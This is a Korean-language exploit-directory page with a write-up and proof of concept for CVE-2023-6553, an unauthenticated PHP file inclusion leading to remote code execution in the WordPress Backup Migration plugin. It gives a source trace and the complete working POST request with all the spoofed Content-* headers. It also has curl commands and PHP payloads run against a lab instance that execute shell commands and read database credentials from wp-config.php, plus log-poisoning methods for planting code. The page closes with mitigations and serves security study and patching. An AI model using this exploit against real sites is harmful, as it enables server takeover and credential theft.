Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-6553 — CVE-2023-6553에 대한 PoC 익스플로잇 및 기술 문서: WordPress Backup Migration 플러그인 <=1.3.7에서 원격 코드 실행을 가능하게 하는 인증되지 않은 PHP 파일 포함 취약점. | Kitploit
도구/GitHubGitHub/dungsocool/cve-2023-6553
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubdungsocool/cve-2023-6553

CVE-2023-6553

CVE-2023-6553에 대한 PoC 익스플로잇 및 기술 문서: WordPress Backup Migration 플러그인 <=1.3.7에서 원격 코드 실행을 가능하게 하는 인증되지 않은 PHP 파일 포함 취약점.

저장소 보기
16일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-6553

PHP 파일 포함으로 이어지는 RCE — Backup Migration 플러그인

플러그인: Backup Migration (backup-backup) ≤ 1.3.7

CVSS: 9.8 (치명적)

CWE: CWE-98 — Include/Require 문의 파일명에 대한 부적절한 제어

인증 요구 사항: 없음

영향: 원격 코드 실행


1. 이 취약점은 무엇인가?

Backup Migration은 사용자가 백업 복사본을 만들 수 있도록 도와주는 상당히 인기 있는 WordPress 플러그인입니다(활성 설치 90,000개 이상). 백업 프로세스 중 이 플러그인은 backup-heart.php라는 파일을 백그라운드에서 실행합니다. 이 파일은 HTTP 헤더를 통해 구성 정보를 전달받아 어떤 디렉터리를 백업해야 하는지, 구성 파일이 어디에 있는지 등을 파악합니다.

문제는 이 파일이 클라이언트가 보낸 HTTP 헤더를 완전히 신뢰하고, 헤더 값을 파일 경로에 그대로 사용한 다음 require_once()로 해당 경로에서 파일을 로드한다는 점입니다. 공격자는 악성 PHP 코드가 포함된 디렉터리를 가리키는 Content-Dir 헤더만 보내면 됩니다. 그러면 서버가 자동으로 해당 파일을 포함(include)하여 실행합니다.

주목할 점은 backup-heart.php 파일이 인증을 요구하지 않는다는 것입니다. 이 파일은 요청 메서드가 POST인지만 확인할 뿐, nonce나 사용자 권한을 검증하지 않습니다. 인터넷상의 누구나 이 파일에 요청을 보낼 수 있습니다.

⇒ 이는 제로 클릭(zero-click) 취약점입니다.

2. 배경 지식

PHP의 파일 포함(File Inclusion)

PHP에는 실행 중인 프로그램에 다른 PHP 파일을 포함시키는 데 사용되는 include(), require(), require_once() 같은 함수가 있습니다. 이러한 함수에 전달되는 파일 경로가 검증 없이 사용자 입력에서 비롯될 경우, 공격자는 서버가 원하는 파일을 포함하도록 강제할 수 있습니다:

  • LFI (로컬 파일 포함): 서버에 존재하는 파일을 로드합니다. 예를 들어 PHP 코드로 "오염(poison)"된 로그 파일을 로드할 수 있습니다.
  • RFI (원격 파일 포함): 외부 서버에서 파일을 로드합니다. allow_url_include=On 설정이 필요합니다(보통 기본적으로 비활성화되어 있음).

이 CVE는 LFI에 해당합니다. 공격자가 require_once()에 전달되는 경로를 제어하여, 공격자가 서버에 작성하는 데 성공한 PHP 파일을 가리키게 합니다.

HTTP 헤더는 왜 위험한가?

많은 개발자는 HTTP 헤더가 서버와 클라이언트만 아는 "내부" 메타데이터라고 생각합니다. 실제로는 공격자가 헤더 내용을 100% 제어합니다. 헤더 이름과 값을 무엇이든 설정할 수 있습니다. 헤더를 신뢰하는 것은 폼 입력을 신뢰하는 것과 같으며, 반드시 검증해야 합니다.

define()과 PHP 상수

define('NAME', $value)는 애플리케이션 전체에서 사용되는 상수를 생성합니다. 한 번 define되면 값을 변경할 수 없습니다. $value가 공격자로부터 온 것이라면, 해당 상수를 사용하는 모든 곳이 영향을 받습니다.

3. 소스 코드 분석 — 취약점은 어디서 발생하는가?

1단계: 싱크(Sink) 찾기

먼저 grep을 사용하여 플러그인 전체에서 모든 require 및 include 문을 검색했습니다:

root@kitploit:~
grep -rn "require\|include" includes/

image.png

검색 결과 많은 require/include 호출이 반환되었습니다. 대부분은 banner/misc.php와 banner/views/index.php의 include_once 호출이었습니다. 이들은 하드코딩된 경로를 사용하는 관리자 UI 렌더링 코드에 속하므로 악용할 수 없습니다.

하지만 backup-heart.php의 다음 2줄이 눈에 띄었습니다:

root@kitploit:~
includes/backup-heart.php:64:   define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
includes/backup-heart.php:118:  require_once BMI_INCLUDES . '/bypasser.php';

118번째 줄은 BMI_INCLUDES 상수를 사용하여 require_once를 호출합니다. 이 상수가 하드코딩되어 있다면 안전할 것입니다. 하지만 64번째 줄을 살펴보니 BMI_INCLUDES는 다른 상수인 BMI_ROOT_DIR로부터 구성됩니다. 따라서 BMI_ROOT_DIR이 어디에서 값을 할당받는지 더 추적해야 합니다.

다시 grep을 사용하여 추적했습니다:

root@kitploit:~
grep -n "BMI_ROOT_DIR" includes/backup-heart.php

결과:

image.png

root@kitploit:~
Line 62: define('BMI_ROOT_DIR', $fields['content-dir']);
Line 64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');

62번째 줄은 BMI_ROOT_DIR이 $fields['content-dir']에서 값을 가져온다는 것을 보여줍니다. 이는 고정된 값이 아닌 변수입니다. 파일을 열어 $fields가 무엇을 포함하는지 확인해야 합니다.

2단계: 소스 코드 확인 — $fields는 어디에서 오는가?

VS Code에서 backup-heart.php의 62번째 줄을 열었습니다:

root@kitploit:~
// Line 62
define('BMI_ROOT_DIR', $fields['content-dir']);

// Line 64
define('BMI_INCLUDES', BMI_ROOT_DIR. 'includes');

image.png

$fields['content-dir']가 define()으로 직접 들어가는 것을 명확히 볼 수 있습니다. 이제 $fields 변수가 어디서 할당되는지 확인해야 합니다:

root@kitploit:~
// Lines 7-9: Only checks POST method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    exit;
}

// Lines 30-33: Reads ALL HTTP headers from the request
if (isFunctionEnabled('getallheaders')) {
    $fields= getallheaders();
}

// Lines 42-46: Lowercases header names
foreach ($fieldsas $key=> $value) {
    $buffer= $value;
    unset($fields[$key]);
    $fields[strtolower($key)] = $value;
}

image.png

image.png

이 시점에서 근본 원인이 아주 명확해집니다. $fields는 getallheaders()를 통해 가져온 모든 HTTP 헤더를 담고 있으며, 이는 전적으로 클라이언트가 제어합니다. wp_verify_nonce()도, current_user_can()도, 유효한 경로 검사도 없습니다. 단지 POST 메서드만 확인하고 헤더를 그대로 읽어들입니다.

3단계: 공격 흐름 요약

root@kitploit:~
Attacker sends POST request with header Content-Dir: /path/to/attacker/
    ↓
getallheaders() reads raw headers → $fields['content-dir'] = "/path/to/attacker/"
    ↓
define('BMI_ROOT_DIR', "/path/to/attacker/")   ← no validation
    ↓
define('BMI_INCLUDES', "/path/to/attacker/includes")
    ↓
require_once "/path/to/attacker/includes/bypasser.php"   ← executes PHP
    ↓
Attacker code runs with www-data privileges → RCE

근본 원인 요약: HTTP 헤더 → define() → require_once(), 그 사이에 검증 단계가 전혀 없습니다.

4단계: Xdebug로 디버깅

Xdebug + VS Code를 사용하여 공격 흐름을 시각적으로 확인했습니다. backup-heart.php의 62번째 줄과 118번째 줄에 중단점 2개를 설정한 다음, curl을 사용하여 익스플로잇 요청을 보냈습니다.

중단점 1 — 62번째 줄:

디버거가 define('BMI_ROOT_DIR', $fields['content-dir']) 바로 앞에서 멈췄습니다. Variables 패널에서 $fields 변수를 펼쳐 보니 클라이언트가 보낸 모든 HTTP 헤더를 포함하는 22개 요소의 배열이 표시되었습니다. 구체적으로는:

  • content-dir = "/tmp/bmi/" — 헤더를 통해 보낸 값 그대로이며, BMI_ROOT_DIR 상수에 직접 할당됩니다.
  • content-abs = "/var/www/html/", content-configdir = "/tmp/bmi/", content-backups = "/tmp/bmi/back..." — 모두 공격자가 제어합니다.

content-dir는 define()에 전달되기 전에 어떤 검증이나 필터링 단계도 거치지 않습니다.

image.png

중단점 2 — 118번째 줄:

F5를 누르자 디버거가 require_once BMI_INCLUDES . '/bypasser.php'에서 멈췄습니다. 상태를 살펴보면:

  • Variables 패널: $fields에 여전히 content-dir = "/tmp/bmi/"가 유지됩니다. 이는 62번째 줄과 118번째 줄 사이에 값이 변경되지 않았음을 증명합니다.
  • Call Stack 패널: {main} backup-heart.php 118:1이 표시됩니다. 파일의 맨 위에서 이 지점까지 코드가 곧바로 실행되었으며, 어떤 미들웨어나 인증 검사도 거치지 않았습니다.
  • 118번째 줄은 /tmp/bmi/includes/bypasser.php 경로의 파일을 include하려고 준비합니다. 이 파일의 내용은 공격자가 제어합니다.

image.png

디버깅 결과는 3단계에서 분석한 흐름을 완벽하게 확인해 줍니다. HTTP 헤더가 getallheaders() → define() → require_once()로 이동하며, 그 사이에 검증이 전혀 없습니다.

4. 공격 체인

1단계 — 서버에 PHP 파일 배치

include를 트리거하기 전에 대상 서버에 PHP 파일이 이미 존재해야 합니다. 일반적인 기법은 다음과 같습니다:

기법개념
로그 오염(Log poisoning)User-Agent에 <?php ... ?>를 포함한 요청을 보내면 코드가 액세스 로그에 기록됨 → 로그 파일을 include

2단계 — 1개의 POST 요청으로 Include 트리거

Content-Dir가 페이로드가 포함된 디렉터리를 가리키도록 요청을 보냅니다. 서버는 공격자의 파일을 자동으로 require하고 실행합니다.

root@kitploit:~
POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1
Host: target.com
Content-Dir: /tmp/bmi/
Content-Abs: /var/www/html/
Content-Content: /var/www/html/wp-content/
Content-Configdir: /tmp/bmi/
Content-Backups: /tmp/bmi/backups/
Content-Safelimit: 1
Content-Browser: true
Content-Identy: 1
Content-Manifest: 1
Content-Rev: 1
Content-Name: test
Content-Start: 1
Content-Filessofar: 0
Content-Total: 1
Content-Bmitmp: /tmp/
Content-It: 1
Content-Dbit: 1
Content-Dblast: 1
Content-Url: http://target.com/

모든 Content-* 헤더를 제공해야 합니다. backup-heart.php가 다른 define() 호출에서 이 헤더들을 사용하기 때문입니다. 헤더가 누락되면 PHP 경고가 발생하고 require_once에 도달하기 전에 실행이 중단될 수 있습니다.

5. PoC — 실습 환경 악용

5.1 엔드포인트가 열려 있는지 확인

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" -X POST \
  "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php"

200을 반환합니다. 엔드포인트가 열려 있고 인증을 요구하지 않습니다.

image.png

5.2 페이로드 파일 생성

require_once가 찾을 것으로 예상하는 디렉터리 구조를 만듭니다: {Content-Dir}includes/bypasser.php

root@kitploit:~
mkdir -p /tmp/bmi/includes

cat > /tmp/bmi/includes/bypasser.php << 'EOF'
<?php echo "RCESTART"; echo shell_exec("id"); echo "RCEEND"; die(); ?>
EOF

image.png

5.3 익스플로잇 전송 — RCE

root@kitploit:~
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" \
  -H "Content-Dir: /tmp/bmi/" \
  -H "Content-Abs: /var/www/html/" \
  -H "Content-Content: /var/www/html/wp-content/" \
  -H "Content-Configdir: /tmp/bmi/" \
  -H "Content-Backups: /tmp/bmi/backups/" \
  -H "Content-Safelimit: 1" \
  -H "Content-Browser: true" \
  -H "Content-Identy: 1" \
  -H "Content-Manifest: 1" \
  -H "Content-Rev: 1" \
  -H "Content-Name: test" \
  -H "Content-Start: 1" \
  -H "Content-Filessofar: 0" \
  -H "Content-Total: 1" \
  -H "Content-Bmitmp: /tmp/" \
  -H "Content-It: 1" \
  -H "Content-Dbit: 1" \
  -H "Content-Dblast: 1" \
  -H "Content-Url: http://localhost:8181/"

출력 결과:

image.png

RCE 성공 — 서버가 id 명령을 실행하고 출력을 반환합니다.

5.4 영향 입증 — 데이터베이스 자격 증명 읽기

RCE를 확인한 후, 공격자가 서버의 민감한 정보를 읽을 수 있음을 입증하기 위해 페이로드를 변경했습니다. wp-config.php를 읽도록 페이로드 파일 내용을 변경합니다:

root@kitploit:~
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("grep DB_ /var/www/html/wp-config.php"); echo "\nRCEEND"; die(); ?>
EOF'

동일한 curl 익스플로잇 요청을 다시 보내면 출력에서 데이터베이스 연결 정보를 반환합니다:

root@kitploit:~
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" -H "Content-Dir: /tmp/bmi/" -H "Content-Abs: /var/www/html/" -H "Content-Content: /var/www/html/wp-content/" -H "Content-Configdir: /tmp/bmi/" -H "Content-Backups: /tmp/bmi/backups/" -H "Content-Safelimit: 1" -H "Content-Browser: true" -H "Content-Identy: 1" -H "Content-Manifest: 1" -H "Content-Rev: 1" -H "Content-Name: test" -H "Content-Start: 1" -H "Content-Filessofar: 0" -H "Content-Total: 1" -H "Content-Bmitmp: /tmp/" -H "Content-It: 1" -H "Content-Dbit: 1" -H "Content-Dblast: 1" -H "Content-Url: http://localhost:8181/"

공격자는 www-data가 접근 권한을 가진 모든 파일을 읽을 수 있습니다. wp-config.php, /etc/passwd, 다른 플러그인의 소스 코드 등이 이에 해당하며, 공격 표면이 확장됩니다.

image.png

5.5 시스템 정보 수집

공격자가 서버 시스템 정보를 수집할 수 있음을 입증하기 위해 페이로드를 추가로 수정합니다. 이는 권한 상승 또는 수평 이동에 도움이 됩니다:

root@kitploit:~
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php << "EOF"
<?php echo "RCESTART\n"; echo shell_exec("uname -a"); echo shell_exec("hostname -I"); echo "\nRCEEND"; die(); ?>
EOF'

curl 익스플로잇 전송 → 출력:

root@kitploit:~
RCESTART
Linux 544a7c6002c6 6.18.33.1-microsoft-standard-WSL2 x86_64 GNU/Linux
172.18.0.3

RCEEND

image.png

이 출력을 통해 공격자는 다음을 발견합니다:

  • 커널 버전 — root 권한 상승을 위한 커널 익스플로잇을 찾는 데 사용됨
  • 내부 IP 172.18.0.3 — 서버가 Docker 네트워크 안에 있음을 확인하며, 다른 컨테이너(데이터베이스, 캐시 등)로 피벗할 수 있게 해줌

6. 영향 심각도

실제 환경 영향

  • 90,000개 이상의 사이트가 이 플러그인을 사용합니다.
  • 공격자는 엔드포인트에 POST 요청 1개를 보내 플러그인 존재 여부를 탐색합니다. 200이면 존재, 404이면 부재를 의미합니다.
  • 비활성화된 플러그인도 여전히 악용 가능합니다. backup-heart.php가 디스크에 남아 있기 때문에 URL로 직접 접근할 수 있기 때문입니다.
  • RCE 이후 공격자는 데이터베이스 덤프, 백도어 설치, 동일 네트워크 내 다른 서버로의 피벗이 가능합니다.

7. 완화 및 해결 방법

개발자가 해야 할 일

HTTP 헤더로 파일 경로를 결정하지 마십시오. __DIR__에서 파생된 상대 경로를 사용하십시오:

root@kitploit:~
// Vulnerable: uses whatever header value the attacker sends
define('BMI_ROOT_DIR', $fields['content-dir']);

// Fixed: uses fixed path, attacker cannot modify
define('BMI_ROOT_DIR', dirname(__FILE__) . '/../');

권한 검사를 추가하십시오. 이 엔드포인트를 호출할 수 있는 사람은 WordPress 관리자뿐이어야 합니다:

root@kitploit:~
if (!wp_verify_nonce($fields['content-nonce'], 'bmi_backup_action')) {
    die('Unauthorized');
}

WordPress 관리자가 해야 할 일

  1. 즉시 버전 1.3.8 이상으로 업데이트하십시오.
  2. 사용하지 않는다면 플러그인을 완전히 삭제하십시오 — 파일이 계속 접근 가능한 상태로 남아 있으므로 비활성화만으로는 충분하지 않습니다.
  3. backup-heart.php를 대상으로 하는 의심스러운 요청이 있는지 액세스 로그를 검사하십시오.
  4. /wp-content/plugins/*/includes/*.php로 가는 직접 POST 요청을 차단하는 WAF 규칙을 구현하십시오.
도구 다운로드
속성
값
CVE IDCVE-2023-6553
CVSS 점수9.8 (치명적)
플러그인backup-backup (Backup Migration) ≤ 1.3.7
인증필요 없음
사용자 상호 작용없음 (제로 클릭)
수정 버전1.3.8
PHP 세션
/tmp/sess_xxx에 위치한 세션 파일에 PHP 코드를 기록
업로드 체인WordPress 미디어/아바타 업로드 기능을 활용하여 파일 업로드
플러그인 오류 로그플러그인이 자체 오류 로그를 기록 — PHP 코드가 포함된 오류를 발생시키면 코드가 로그 파일에 기록됨
CVSS 메트릭값이유
공격 벡터(Attack Vector)네트워크(Network)HTTP를 통해
공격 복잡성(Attack Complexity)낮음(Low)POST 요청 1개만 필요, 타이밍이나 특별한 조건 불필요
필요한 권한(Privileges Required)없음(None)엔드포인트가 인증을 요구하지 않음
사용자 상호 작용(User Interaction)없음(None)공격자 주도, 피해자의 상호 작용 불필요
기밀성(Confidentiality)높음(High)wp-config.php, /etc/passwd, 소스 코드 등 모든 파일을 읽을 수 있음
무결성(Integrity)높음(High)임의 파일 쓰기, 웹쉘 설치, 데이터베이스 수정
가용성(Availability)높음(High)파일 삭제, 프로세스 종료, 서버 전체 장악